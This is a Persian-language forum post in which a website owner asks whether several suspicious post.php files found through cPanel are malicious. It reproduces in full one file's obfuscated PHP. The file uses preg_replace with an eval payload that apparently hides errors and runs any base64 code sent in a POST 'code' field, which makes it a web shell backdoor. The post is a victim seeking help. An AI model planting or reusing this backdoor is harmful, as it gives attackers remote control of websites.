فایل های مشکوک

[setareh83]

سلام دوستان گرامی و عزیزم

فایل های را پیدا کردم که نام آنها post.php هست و کد ها زیر داخل آن ها هست
لطفا راهنمایی کنید این فایل ها برای خود سایت هست یا مخرب هست و باید حذف شون کنم

الیته قبلا فایروال چهار فایل مخرب به این نام ها پیدا کرده بود و من آن ها را پاک کردم. الان هم که داخل cpanel سرچ کردم چند تا از این فایل ها هست که فایروال به آن ها گیر نمی ده . می خواستم شما عزیزان که برنامه نویسی می دانید کمک کنید و به من بگین که فایل ها چیه و باید پاک کنم یا پاک نکنم


کد آنها بیدن شرح می باشد.

<?php




$e6uC3mn=chr(112).chr(114)."e".chr(103)."\x5fr\x65 p\x6c\x61\x63\x65";$xtMCu2="\x65va\x6C\x28".chr(98 )."\x61".chr(115).chr(101).chr(54)."\x34\x5F".chr( 100)."\x65\x63".chr(111)."\x64e\x28".chr(34)."\x51 ".chr(71)."\x56yc\x6d".chr(57)."\x79".chr(88).chr( 51).chr(74)."\x6C".chr(99)."\x47".chr(57)."\x79\x6 4".chr(71)."l".chr(117).chr(90)."\x79".chr(103)."w K\x54\x73\x4E".chr(67)."k\x42".chr(112)."\x62\x6d\ x6c".chr(102)."c2V\x30\x4bC\x4a\x6Ba\x58\x4E\x77b\ x47\x46\x35X\x32\x56\x79\x63m".chr(57).chr(121).ch r(99)."y\x49s".chr(77)."\x43".chr(107)."\x37D".chr (81).chr(112)."\x41\x61\x57\x35p\x583".chr(78)."\x 6c".chr(100)."\x43g".chr(105)."bG".chr(57)."nX".ch r(50).chr(86)."y\x63".chr(109).chr(57).chr(121)."\ x63\x79Is\x4D".chr(67).chr(107)."7D\x51".chr(112). "\x41\x61\x57\x35".chr(112)."\x58\x33".chr(78)."\x 6Cd".chr(67)."g".chr(105).chr(90)."X\x4A".chr(121) ."\x62".chr(51)."J".chr(102)."\x62".chr(71)."\x39" .chr(110)."\x49".chr(105)."\x77\x77K\x54sNC".chr(1 07)."\x42\x70\x62m".chr(108)."fc\x32\x56\x30".chr( 75)."CJ\x74\x5aW".chr(49).chr(118)."c\x6e\x6C".chr (102).chr(98).chr(71).chr(108).chr(116).chr(97)."X \x51i\x4C\x43Ai".chr(77)."T".chr(73)."4TS\x49p\x4F ".chr(119)."\x30\x4B\x51G".chr(108).chr(117)."a".c hr(86).chr(57)."\x7a\x5aX\x51".chr(111)."\x49m\x31 \x68".chr(101).chr(70)."9\x6c".chr(101).chr(71).ch r(86)."\x6A".chr(100).chr(88)."\x52p\x6225".chr(10 2).chr(100).chr(71)."\x6C\x74\x5AS\x49\x73M\x7A\x4 1".chr(112)."O".chr(119)."\x30".chr(75)."QH".chr(7 8).chr(108).chr(100)."\x46\x390".chr(97).chr(87)." 1l".chr(88).chr(50)."xp".chr(98)."W\x6C\x30".chr(7 5)."\x44\x4dw\x4b\x54".chr(115)."g".chr(68)."\x51\ x6fNCm\x6Cm\x49\x43".chr(104).chr(112).chr(99)."\x 33\x4el".chr(100)."\x43g".chr(107)."\x58".chr(49). "\x42P".chr(85).chr(49).chr(82)."b\x49".chr(109).c hr(78)."\x76Z\x47".chr(85).chr(105)."\x58".chr(83) ."\x6B".chr(112).chr(68)."Q".chr(112)."7".chr(68). "\x51\x6F\x4AZ".chr(88)."\x5A\x68\x62\x43\x68\x69" .chr(89).chr(88).chr(78)."l".chr(78)."\x6a".chr(82 )."\x66Z".chr(71)."V\x6a\x62\x32".chr(82)."\x6c\x4 b\x43".chr(82).chr(102)."\x55".chr(69)."\x39\x54\x 56".chr(70)."\x73i\x59\x329kZ".chr(83)."\x4a\x64". chr(75)."\x53k\x37\x44".chr(81)."\x709D".chr(81)." o\x4EC".chr(109)."\x56".chr(52)."\x61\x58\x517\x22 ))\x3B";$asY0oh=chr(47).chr(53).chr(54)."\x32\x66\ x321\x63".chr(54)."e\x31d\x61\x62".chr(57)."ee\x61 ".chr(97).chr(99).chr(98)."0\x3773\x35".chr(54)."\ x61\x321a0c".chr(47).chr(101);$e6uC3mn($asY0oh,$xt MCu2,chr(53)."6".chr(50).chr(102)."\x32".chr(49).c hr(99)."\x36".chr(101)."\x31d\x61".chr(98)."\x39\x 65\x65".chr(97)."a".chr(99)."b".chr(48)."\x377\x33 5\x36a2".chr(49).chr(97)."0c");



?>